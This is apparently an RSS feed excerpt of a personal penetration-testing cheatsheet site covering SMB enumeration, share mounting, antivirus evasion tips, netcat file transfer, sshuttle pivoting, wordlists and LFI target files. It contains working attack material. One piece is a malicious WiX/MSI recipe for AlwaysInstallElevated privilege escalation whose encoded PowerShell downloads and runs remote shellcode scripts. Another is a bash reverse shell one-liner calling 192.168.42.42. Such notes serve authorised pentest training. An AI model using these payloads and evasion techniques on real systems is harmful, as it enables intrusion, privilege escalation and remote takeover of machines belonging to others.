<p>Is also possible to use impacket in the same way than smbclient to check for anonymous login (and a lot more as browse the shares) in case of incompatible versions.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>/usr/share/doc/python3-impacket/examples/smbclient.py &#34;&#34;@192.168.24.24
</span></span></code></pre></div><hr>
<h1 id="smbmap">smbmap</h1>
<p>Check which permissions we have in those shares (if there are):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>smbmap -H 192.168.24.24
</span></span><span style="display:flex;"><span>Or having an user:
</span></span><span style="display:flex;"><span>smbmap -u ceso -H 192.168.24.24
</span></span></code></pre></div><hr></description></item><item><title>Samba</title><link>https://onikenaz.ovh/cheatsheets/hacking/exfiltration/samba/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/exfiltration/samba/</guid><description><h1 id="mount-in-windows">Mount in Windows</h1>
<p>Mounting it in Windows with Powershell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>New-PSDrive -Name &#34;tools&#34; -PSProvider &#34;Filesystem&#34; -Root &#34;\\192.168.42.42\tools&#34;
</span></span></code></pre></div><p>Mounting it without Powershell:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>net use z: \\192.168.42.42\tools&#34;
</span></span></code></pre></div><p>On windows, to list mounted shares, either Powershell or without it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Powershell: Get-SMBShare
</span></span><span style="display:flex;"><span>Without Powershell: net share
</span></span></code></pre></div><hr>
<h1 id="mount-in-linux">Mount in Linux</h1>
<p>Is needed to have installed cifs-utils, to install it (in debian based):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo apt-get install cifs-utils
</span></span></code></pre></div><p>To mount it:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sudo mount -t cifs //192.168.42.42/tools ~/my_share/
</span></span></code></pre></div><p>To list mounted shares:</p></description></item><item><title>Screenshooting</title><link>https://onikenaz.ovh/resources/tools/screenshooting/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/tools/screenshooting/</guid><description><ul>
<li><a href="https://github.com/michenriksen/aquatone">https://github.com/michenriksen/aquatone</a></li>
<li><a href="https://github.com/FortyNorthSecurity/EyeWitness">https://github.com/FortyNorthSecurity/EyeWitness</a></li>
<li><a href="https://github.com/breenmachine/httpscreenshot">https://github.com/breenmachine/httpscreenshot</a></li>
<li><a href="https://github.com/maaaaz/webscreenshot">https://github.com/maaaaz/webscreenshot</a></li>
</ul>
<hr></description></item><item><title>Signature/Heuristics</title><link>https://onikenaz.ovh/cheatsheets/hacking/antivirus_bypassing/signature_heuristics/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/antivirus_bypassing/signature_heuristics/</guid><description><h1 id="signature-bypass">Signature Bypass</h1>
<p>For example, we can obfuscate the code ciphering and/or encoding (having a decipher/decoding routine in the code), as also leverage tools dedicated for this purpose.
Another thing is to use NOT common name for functions, variable names, etc; lunfardos, slang, idioisms, weird words from the dictionary, etc.</p>
<hr>
<h1 id="heuristics-bypass">Heuristics Bypass</h1>
<p>As for the heuristics for example AV&rsquo;s tend to execute the malware inside a sandbox, we could have code for detecting if running inside a sandbox and exit if this is true.
I could use the following techniques:</p></description></item><item><title>Sockets</title><link>https://onikenaz.ovh/cheatsheets/hacking/exfiltration/sockets/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/exfiltration/sockets/</guid><description><p>Using nc/ncat is possible to create as a listener to upload/download stuff through them, the syntax for nc and ncat is basically the same.
Create the socket with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Attacker:
</span></span><span style="display:flex;"><span> nc -lvnp 443 &lt; evil.php
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>For both cases from windows, the only difference is to write nc.exe
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Victim:
</span></span><span style="display:flex;"><span> nc -v 192.168.42.42 443 &gt; evil.php
</span></span></code></pre></div><hr></description></item><item><title>sshuttle</title><link>https://onikenaz.ovh/cheatsheets/hacking/pivoting/sshuttle/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/pivoting/sshuttle/</guid><description><h1 id="one-hop">One hop</h1>
<p>Let&rsquo;s say we are in an intranet and we have compromised a firewall that gives us access to the management net (fw.example.mgmt - ips 192.168.20.35 and 192.168.30.253 as the management ip), by using sshuttle we can create a &ldquo;vpn&rdquo; to talk directly to those servers, for that, we use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>sshuttle ceso@192.168.20.35 192.168.30.0/24
</span></span></code></pre></div><h1 id="multi-hops">Multi-hops</h1>
<p>Now imagine that after we broke up into the management net after some some enumeration, we ended to compromise a machine that has also access to a production environment (foreman.example.mgmt - ips 192.168.30.40 and 192.168.25.87), we can take advantage of sshuttle + ProxyCommand of ssh to create a &ldquo;vpn&rdquo; through this multiple hops, so&hellip;putting it down, this will be kind of as follow (the diagram is extremly simplified and just for the sake of illustrate this visually, so it doesn&rsquo;t intend to provide a 100% precise network diagram):</p></description></item><item><title>Twitter Accounts</title><link>https://onikenaz.ovh/resources/general_hacking/twitter_accounts/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/general_hacking/twitter_accounts/</guid><description><ul>
<li>securibee: <a href="https://twitter.com/securibee">https://twitter.com/securibee</a></li>
<li>codingo_: <a href="https://twitter.com/codingo">https://twitter.com/codingo</a>_</li>
<li>hakluke: <a href="https://twitter.com/hakluke">https://twitter.com/hakluke</a></li>
<li>JackRhysider: <a href="https://twitter.com/JackRhysider">https://twitter.com/JackRhysider</a></li>
<li>Orange Tsai: <a href="https://twitter.com/orange_8361">https://twitter.com/orange_8361</a></li>
<li>MalwareTech: <a href="https://twitter.com/MalwareTechBlog">https://twitter.com/MalwareTechBlog</a></li>
<li>TomTomNom: <a href="https://twitter.com/TomNomNom">https://twitter.com/TomNomNom</a></li>
<li>Jason Haddix: <a href="https://twitter.com/Jhaddix">https://twitter.com/Jhaddix</a></li>
<li>NahamSec: <a href="https://twitter.com/NahamSec">https://twitter.com/NahamSec</a></li>
<li>STOK: <a href="https://twitter.com/stokfredrik">https://twitter.com/stokfredrik</a></li>
<li>John Hammond: <a href="https://twitter.com/_johnhammond">https://twitter.com/_johnhammond</a></li>
<li>Jake Williams: <a href="https://twitter.com/MalwareJake">https://twitter.com/MalwareJake</a></li>
<li>Deviant Ollman: <a href="https://twitter.com/deviantollam">https://twitter.com/deviantollam</a></li>
<li>J3rryBl4nks: <a href="https://twitter.com/JBl4nks">https://twitter.com/JBl4nks</a></li>
<li>Tib3rius: <a href="https://twitter.com/0xTib3rius">https://twitter.com/0xTib3rius</a></li>
<li>TheColonial: <a href="https://twitter.com/TheColonial">https://twitter.com/TheColonial</a></li>
<li>Rob Fuller: <a href="https://twitter.com/mubix">https://twitter.com/mubix</a></li>
<li>g0tmi1k: <a href="https://twitter.com/g0tmi1k">https://twitter.com/g0tmi1k</a></li>
<li>TJ_Null: <a href="https://twitter.com/TJ_Null">https://twitter.com/TJ_Null</a></li>
<li>Rasta Mouse: <a href="https://twitter.com/_RastaMouse">https://twitter.com/_RastaMouse</a></li>
<li>ippsec: <a href="https://twitter.com/ippsec">https://twitter.com/ippsec</a></li>
<li>Chema Alonso: <a href="https://twitter.com/chemaalonso">https://twitter.com/chemaalonso</a></li>
<li>FalconSpy: <a href="https://twitter.com/0xFalconSpy">https://twitter.com/0xFalconSpy</a></li>
<li>Minh: <a href="https://twitter.com/WhiteHoodHacker">https://twitter.com/WhiteHoodHacker</a></li>
<li>0verfl0w: <a href="https://twitter.com/0verfl0w">https://twitter.com/0verfl0w</a>_</li>
<li>Markus Höfer: <a href="https://twitter.com/HashtagMarkus">https://twitter.com/HashtagMarkus</a></li>
<li>Jonas L: <a href="https://twitter.com/jonasLyk">https://twitter.com/jonasLyk</a></li>
<li>Will Dormann: <a href="https://twitter.com/wdormann">https://twitter.com/wdormann</a></li>
<li>Scott Piper: <a href="https://twitter.com/0xdabbad00">https://twitter.com/0xdabbad00</a></li>
</ul>
<hr></description></item><item><title>Useful Wordlists</title><link>https://onikenaz.ovh/cheatsheets/hacking/enumeration/useful_wordlists/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/enumeration/useful_wordlists/</guid><description><h1 id="most-usefull-dictionaries-oscphtb">Most usefull dictionaries (OSCP/HTB)</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>/usr/share/wordlists/rockyou.txt
</span></span><span style="display:flex;"><span>/usr/share/wordlists/wfuzz/others/common_pass.txt
</span></span></code></pre></div><hr>
<h1 id="in-seclists-pkg">In seclists-pkg</h1>
<pre tabindex="0"><code>/usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt
/usr/share/seclists/Passwords/Leaked-Databases/alleged-gmail-passwords.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
</code></pre><hr>
<h1 id="assetnote">Assetnote</h1>
<p>Up-to-date lists are in the general webpage and there are many more than the ones here listed</p>
<pre tabindex="0"><code>https://wordlists.assetnote.io/
</code></pre><p>Ideally, all of them can be downloaded just at once running</p>
<pre tabindex="0"><code>wget -r --no-parent -R &#34;index.html*&#34; https://wordlists-cdn.assetnote.io/data/ -nH -e robots=off
</code></pre><h2 id="api-fuzzing">API Fuzzing</h2>
<pre tabindex="0"><code>https://wordlists-cdn.assetnote.io/data/automated/httparchive_apiroutes_2025_09_27.txt
</code></pre><h2 id="kiterunner">Kiterunner</h2>
<pre tabindex="0"><code>https://wordlists-cdn.assetnote.io/rawdata/kiterunner/routes-large.json.tar.gz
https://wordlists-cdn.assetnote.io/data/kiterunner/routes-large.kite.tar.gz
https://wordlists-cdn.assetnote.io/rawdata/kiterunner/routes-small.json.tar.gz
https://wordlists-cdn.assetnote.io/data/kiterunner/routes-small.kite.tar.gz
https://wordlists-cdn.assetnote.io/rawdata/kiterunner/swagger-files.tar
https://wordlists-cdn.assetnote.io/data/kiterunner/swagger-wordlist.txt
</code></pre><hr>
<h1 id="local-file-inclusion-lfi">Local File Inclusion (LFI)</h1>
<h2 id="linux">Linux</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>/proc/self/status
</span></span><span style="display:flex;"><span>/proc/self/environ
</span></span><span style="display:flex;"><span>/etc/passwd
</span></span><span style="display:flex;"><span>/etc/hosts
</span></span><span style="display:flex;"><span>/etc/exports
</span></span></code></pre></div><h2 id="windows">Windows</h2>
<pre tabindex="0"><code>C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini C:/WINDOWS/Repair/SAM
C:/Windows/repair/system C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log
</code></pre><hr></description></item><item><title>Web</title><link>https://onikenaz.ovh/cheatsheets/hacking/good_to_know/web/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/good_to_know/web/</guid><description><h1 id="ip-restriction-at-application-level---bypass">IP restriction at application level - Bypass</h1>
<p>Try to send a request modifying the HTTP header by adding:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>X-Forwarder-For: &lt;ip allowed&gt;
</span></span></code></pre></div><hr></description></item><item><title>Web Browser Plugins</title><link>https://onikenaz.ovh/resources/tools/browser_plugins/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/tools/browser_plugins/</guid><description><ul>
<li><a href="https://www.wappalyzer.com/download/">https://www.wappalyzer.com/download/</a></li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/">https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/</a> <strong>&lt;&mdash;&mdash; For Firefox</strong></li>
<li><a href="https://chrome.google.com/webstore/detail/foxyproxy-standard/gcknhkkoolaabfmlnjonogaaifnjlfnp">https://chrome.google.com/webstore/detail/foxyproxy-standard/gcknhkkoolaabfmlnjonogaaifnjlfnp</a> <strong>&lt;&mdash;&mdash; For Chrome</strong></li>
<li><a href="https://cookie-editor.cgagnier.ca/#download">https://cookie-editor.cgagnier.ca/#download</a></li>
<li><a href="https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/">https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/</a></li>
</ul>
<hr></description></item><item><title>Web directorie/file scanner</title><link>https://onikenaz.ovh/cheatsheets/hacking/enumeration/web_directorie_file_scanner/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/enumeration/web_directorie_file_scanner/</guid><description><h1 id="gobuster">Gobuster</h1>
<p>Scan all the directories/files by extension:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>gobuster dir -u http://192.168.24.24 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php,txt,py -o webscan/gobuster-extensions
</span></span></code></pre></div><p>For scanning without extensions, just take out the -x</p>
<hr>
<h1 id="nikto">Nikto</h1>
<p>Sometimes Nikto shows juicy information, I tend to run it like:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>nikto -Format txt -o webscan/nikto-initial -host http://192.168.24.24 -p 8080
</span></span></code></pre></div><hr>
<h1 id="fuff">fuff</h1>
<p>Web fuzzer, <a href="https://github.com/ffuf/ffuf">you can get fuff here</a>, it basically bruteforces the dirs.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://192.168.24.24/FUZZ
</span></span></code></pre></div><hr></description></item><item><title>Web Security</title><link>https://onikenaz.ovh/resources/books/web_security/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/books/web_security/</guid><description><ul>
<li><a href="https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470">https://www.amazon.com/Web-Application-Hackers-Handbook-Exploiting/dp/1118026470</a></li>
<li><a href="https://www.amazon.com/Real-World-Bug-Hunting-Field-Hacking/dp/1593278616/">https://www.amazon.com/Real-World-Bug-Hunting-Field-Hacking/dp/1593278616/</a></li>
</ul>
<hr></description></item><item><title>Windows</title><link>https://onikenaz.ovh/cheatsheets/hacking/enumeration/windows/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/enumeration/windows/</guid><description><h1 id="trusted-folders">Trusted Folders</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>accesschk.exe &#34;ceso&#34; C:\ -wus
</span></span><span style="display:flex;"><span> -&gt; -w is to locate writable directories
</span></span><span style="display:flex;"><span> -&gt; -u supress errors
</span></span><span style="display:flex;"><span> -&gt; -s makes recursion on all subdirectories
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>icacls.exe C:\Windows\Tasks
</span></span><span style="display:flex;"><span> ^-- Verify if Tasks has execution permissions for example (flag is &#34;RX&#34;)
</span></span></code></pre></div><hr>
<h1 id="check-os-information">Check OS Information</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>systeminfo
</span></span><span style="display:flex;"><span>ver
</span></span></code></pre></div><hr>
<h1 id="check-architecture">Check Architecture</h1>
<h2 id="without-powershell">Without PowerShell</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>wmic os get osarchitecture
</span></span><span style="display:flex;"><span>echo %PROCESSOR_ARCHITECTURE%
</span></span></code></pre></div><h2 id="with-powershell">With PowerShell</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>[Environment]::Is64BitProcess
</span></span></code></pre></div><hr>
<h1 id="check-the-type-of-language-available-with-powershell">Check the Type of Language available with Powershell</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ExecutionContext.SessionState.LanguageMode
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Possible types are:
</span></span><span style="display:flex;"><span> - Full Language
</span></span><span style="display:flex;"><span> - RestrictedLanguage
</span></span><span style="display:flex;"><span> - No Language
</span></span><span style="display:flex;"><span> - Constrained Language
</span></span></code></pre></div><hr></description></item><item><title>Windows</title><link>https://onikenaz.ovh/cheatsheets/hacking/privilege_escalation/windows/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/privilege_escalation/windows/</guid><description><h1 id="always-install-elevated">Always Install Elevated</h1>
<p>If we have enabled a privilege which allow us to ALWAYS install with elevated privileges, we can craft a .msi leveranging wixt
ools, specifically with candl.exe and light.exe.
The steps are as follows:</p>
<p>1 - Create a malicious .xml wix file:</p>
<pre tabindex="0"><code class="language-texinfo" data-lang="texinfo">&lt;?xml version=&#34;1.0&#34;?&gt;
&lt;Wix xmlns=&#34;http://schemas.microsoft.com/wix/2006/wi&#34;&gt;
&lt;Product Id=&#34;*&#34; UpgradeCode=&#34;12345678-1234-1234-1234-111111111111&#34; Name=&#34;Example Product Name&#34; Version=&#34;0.0.1&#34; Manufacture
r=&#34;@_xpn_&#34; Language=&#34;1033&#34;&gt;
&lt;Package InstallerVersion=&#34;200&#34; Compressed=&#34;yes&#34; Comments=&#34;Windows Installer Package&#34;/&gt;
&lt;Media Id=&#34;1&#34; Cabinet=&#34;product.cab&#34; EmbedCab=&#34;yes&#34;/&gt;
&lt;Directory Id=&#34;TARGETDIR&#34; Name=&#34;SourceDir&#34;&gt;
&lt;Directory Id=&#34;ProgramFilesFolder&#34;&gt;
&lt;Directory Id=&#34;INSTALLLOCATION&#34; Name=&#34;Example&#34;&gt;
&lt;Component Id=&#34;ApplicationFiles&#34; Guid=&#34;12345678-1234-1234-1234-222222222222&#34;&gt;
&lt;/Component&gt;
&lt;/Directory&gt;
&lt;/Directory&gt;
&lt;/Directory&gt;
&lt;Feature Id=&#34;DefaultFeature&#34; Level=&#34;1&#34;&gt;
&lt;ComponentRef Id=&#34;ApplicationFiles&#34;/&gt;
&lt;/Feature&gt;
&lt;CustomAction Id=&#34;SystemShell&#34; Directory=&#34;TARGETDIR&#34; ExeCommand=&#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell
.exe -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnAC
gAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA5ADIALwBuAGkAZQByAGkALgBwAHMAMQAnACkAOwBJAEUAWAAoAE4AZQB3AC0ATwBiAGoAZQBj
AHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOA
AuADQAOQAuADkAMgAvAHIAdQBuAC0AcwBoAGUAbABsAGMAbwBkAGUALQA2ADQAYgBpAHQALgBwAHMAMQAtAGYAcgBvAG0AOQAyAC0AOAAwADgAMQBwAG8AcgB0ACcA
KQAKAA==&#34; Execute=&#34;deferred&#34; Impersonate=&#34;no&#34; Return=&#34;ignore&#34;/&gt;
&lt;InstallExecuteSequence&gt;
&lt;Custom Action=&#34;SystemShell&#34; After=&#34;InstallInitialize&#34;&gt;&lt;/Custom&gt;
&lt;/InstallExecuteSequence&gt;
&lt;/Product&gt;
&lt;/Wix&gt;
</code></pre><p>The powershell in b64 executed is this one:</p></description></item><item><title>Windows</title><link>https://onikenaz.ovh/resources/operating_systems/windows/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/operating_systems/windows/</guid><description><h1 id="general">General</h1>
<ul>
<li><a href="http://www.cheat-sheets.org/saved-copy/Windows_folders_quickref.pdf">http://www.cheat-sheets.org/saved-copy/Windows_folders_quickref.pdf</a></li>
<li><a href="https://www.lemoda.net/windows/windows2unix/windows2unix.html">https://www.lemoda.net/windows/windows2unix/windows2unix.html</a></li>
<li><a href="https://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html">https://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html</a></li>
<li><a href="https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/">https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/</a></li>
<li><a href="https://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html">https://bernardodamele.blogspot.com/2011/12/dump-windows-password-hashes.html</a></li>
<li><a href="https://malicious.link/post/2016/kerberoast-pt1/">https://malicious.link/post/2016/kerberoast-pt1/</a></li>
<li><a href="https://gist.github.com/pwntester/72f76441901c91b25ee7922df5a8a9e4">https://gist.github.com/pwntester/72f76441901c91b25ee7922df5a8a9e4</a> <strong>&lt;&mdash; DotNetNuke (CVE-2017-9822) Payloads</strong></li>
</ul>
<hr>
<h1 id="privilege-escalation">Privilege Escalation</h1>
<ul>
<li><a href="https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/">https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/</a></li>
<li><a href="http://www.fuzzysecurity.com/tutorials/16.html">http://www.fuzzysecurity.com/tutorials/16.html</a></li>
<li><a href="https://github.com/J3rryBl4nks/LPEWalkthrough/blob/master/Walkthrough.md">https://github.com/J3rryBl4nks/LPEWalkthrough/blob/master/Walkthrough.md</a></li>
<li><a href="https://github.com/worawit/MS17-010">https://github.com/worawit/MS17-010</a> <strong>&lt;&mdash;&mdash; Eternal blue without MSF</strong></li>
<li><a href="https://github.com/ankh2054/windows-pentest">https://github.com/ankh2054/windows-pentest</a></li>
<li><a href="https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html">https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html</a></li>
<li><a href="https://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html">https://hackingandsecurity.blogspot.com/2017/09/oscp-windows-priviledge-escalation.html</a></li>
<li><a href="https://github.com/frizb/Windows-Privilege-Escalation">https://github.com/frizb/Windows-Privilege-Escalation</a></li>
</ul>
<hr>
<h1 id="powershell">PowerShell</h1>
<ul>
<li><a href="https://vipulvyas0813.medium.com/introduction-to-powershell-for-penetration-testing-733236bc9547">https://vipulvyas0813.medium.com/introduction-to-powershell-for-penetration-testing-733236bc9547</a> <strong>&lt;&mdash;&mdash; Serie about Poers
hell for Penetration Testing (5 posts)</strong></li>
</ul>
<hr></description></item><item><title>Bash</title><link>https://onikenaz.ovh/cheatsheets/hacking/reverse_shellls/bash/</link><pubDate>Thu, 02 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/reverse_shellls/bash/</guid><description><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>bash -i &gt;&amp; /dev/tcp/192.168.42.42/443 0&gt;&amp;<span style="color:#ae81ff">1</span>
</span></span></code></pre></div><hr>
